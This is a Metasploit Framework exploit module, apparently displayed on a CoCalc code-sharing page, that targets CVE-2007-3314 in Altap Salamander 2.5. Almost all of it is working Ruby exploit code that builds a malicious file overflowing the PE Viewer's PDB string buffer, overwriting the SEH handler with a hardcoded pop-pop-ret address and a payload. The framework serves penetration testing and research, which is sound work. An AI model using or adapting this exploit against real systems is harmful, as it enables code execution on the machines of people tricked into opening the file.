CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/fileformat/altap_salamander_pdb.rb
Views: 11784
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = GoodRanking
8
9
include Msf::Exploit::FILEFORMAT
10
include Msf::Exploit::Seh
11
12
def initialize(info = {})
13
super(update_info(info,
14
'Name' => 'Altap Salamander 2.5 PE Viewer Buffer Overflow',
15
'Description' => %q{
16
This module exploits a buffer overflow in Altap Salamander <= v2.5.
17
By creating a malicious file and convincing a user to view the file with
18
the Portable Executable Viewer plugin within a vulnerable version of
19
Salamander, the PDB file string is copied onto the stack and the
20
SEH can be overwritten.
21
},
22
'License' => MSF_LICENSE,
23
'Author' => [ 'aushack' ],
24
'References' =>
25
[
26
[ 'CVE', '2007-3314' ],
27
[ 'BID', '24557' ],
28
[ 'OSVDB', '37579' ],
29
[ 'URL', 'http://vuln.sg/salamander25-en.html' ],
30
],
31
'DefaultOptions' =>
32
{
33
'EXITFUNC' => 'process',
34
'DisablePayloadHandler' => true
35
},
36
'Payload' =>
37
{
38
'Space' => 1024,
39
'BadChars' => "\x00\x0d\x0a=:\\/%$^&*",
40
'StackAdjustment' => -3500,
41
},
42
'Platform' => 'win',
43
'Targets' =>
44
[
45
[ 'Universal Salamander 2.5', { 'Ret' => 0x23920b59 } ], # pop ebx; pop eax; ret salrtl.dll
46
],
47
'Privileged' => false,
48
'DisclosureDate' => '2007-06-19',
49
'DefaultTarget' => 0))
50
51
register_options(
52
[
53
OptString.new('FILENAME', [ false, 'The file name.', 'msf-salamander-pdb.exe'])
54
])
55
56
end
57
58
def exploit
59
60
seh = generate_seh_payload(target.ret)
61
62
# load the static pdb file beginning
63
path = File.join(Msf::Config.data_directory, "exploits", "CVE-2007-3314.dat")
64
fd = File.open(path, "rb")
65
sploit = fd.read(fd.stat.size)
66
fd.close
67
68
sploit << rand_text_alphanumeric(1098) + seh
69
sploit << ".pdb"
70
71
print_status("Creating '#{datastore['FILENAME']}' file ...")
72
73
file_create(sploit)
74
75
end
76
end
77
78